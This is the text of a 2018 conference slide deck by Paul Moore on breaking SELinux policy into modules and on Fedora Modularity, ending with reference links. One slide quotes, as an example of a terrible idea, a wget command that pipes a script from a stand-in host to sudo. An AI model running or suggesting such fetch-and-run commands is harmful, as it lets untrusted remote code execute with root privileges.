SELinux Loves Modularity

Paul Moore

January 2018

In the Beginning

- Everything was large and monolithic
  - No virtual machines *(gasp!)*
  - No containers *(the horror!)*
- Distribution packages were the building blocks
  - Diverging from the official packages was messy
- SELinux policy was delivered as a single package

“The story so far: In the beginning the Universe was created. This has made a lot of people very angry and been widely regarded as a bad move.”

- Douglas Adams

The World Becomes Virtual

- Hardware virtualization
  - Xen, KVM, etc.
- Kernel virtualization
  - Namespaces, containers (the “D word”), etc.
- Data center virtualization
  - “The Cloud”, Amazon Web Services, etc.

Software Delivery Grows Beyond the Distribution

- Alternate packaging takes off in popularity
  - Third party RPM repositories (e.g. EPEL)
  - Language specific installers (e.g. pip)
  - Standardized/exportable VM images (e.g. OVF)
  - Standardized container images (e.g. OCI images)
- Various other terrible ideas
  - “`wget -O - http://notevil.com/trustme.sh | sudo`”

“Everything has to evolve or it perishes.”

- John Knowles

Fedora Modularity: A Linux Distribution Evolved

- Shift focus from packages to modules
  - Really a shift from applications to “solutions”
  - Bundles all the necessary bits into one module
  - Emphasis on customization and testing
- Support for different versions with different lifetimes
  - Choose older/stable or fast/~~broken/~~exciting *(!)*
- *Planned* support for different packaging formats
  - RPMs, tarballs, containers, etc.

SELinux Begins to Evolve Too ...

- Monolithic policy is decomposed into modules
  - Structure / interfaces introduced to the policy
  - System policy manageable at the module level
- Prioritized policy module database
  - Third party and distribution policies could co-exist

… But We Are Far From Done

- Policy still ships as a single package in Fedora
  - Every policy module installed on every install
- Policy and app development remains disconnected
  - Easy for the app and it’s policy to get out of sync
  - No policy customization for use case / app versions
- SELinux application policy developed by a small group
  - Soul crushing workload for the policy “team”
    - ~~Dan Walsh~~ *(ran away to join the container circus)*
    - ~~Miroslav Grepl~~ *(left for a life in management)*
    - Lukas Vrabec

“Divide and conquer.”

- Julius Caesar

The Answer to All Problems: SELinux Modularity

- Package high level SELinux app policies separately
  - Wins for resource usage and system flexibility
- Include the SELinux policy in the Fedora Modules
  - SELinux app policies managed as part of the module
- Build upon the Fedora Independent Policy Project
  - Docs, tools, and help for those developing policy

“The best laid plans of mice and men often go awry.”

- Robert Burns / John Steinbeck

Fedora Modularity Reinvents Itself

- “Modularity is Dead, Long Live Modularity!”
  - Fully modular system is not *currently* practical
  - Modules are now optional, no longer mandatory
  - Many concepts remain the same
    - Focused on bundling packages to create “solutions”
    - Support for different versions and support lifetimes
    - Emphasize customization and testing
  - Changes to make module creation made easier
    - Less dependency problems

What About SELinux Modularity?

- Basic ideas and goals remain the same
  - Decomposing the SELinux policy still a “win”
    - Reduced impact on system resources
    - Tighter association with the applications
    - Better support for different application versions / lifetimes
  - Still leverages the Independent Policy Project
- Lower urgency beyond basic enablement
  - Align policy decomposition with other policy efforts
  - Waiting to see how Fedora Modularity is adopted

“Success is stumbling from failure to failure with no loss of enthusiasm.”

- Winston Churchill

The “Take a Picture so You Wont Forget” Slide

- Fedora Modularity
  - https://docs.pagure.org/modularity
  - https://communityblog.fedoraproject.org/modularity-dead-long-live-modularity
- SELinux Modularity
  - https://fedoraproject.org/wiki/SELinuxModularity
- Independent Policy Project
  - https://fedoraproject.org/wiki/SELinux/IndependentPolicy
- Me
  - paul@paul-moore.com
  - @securepaul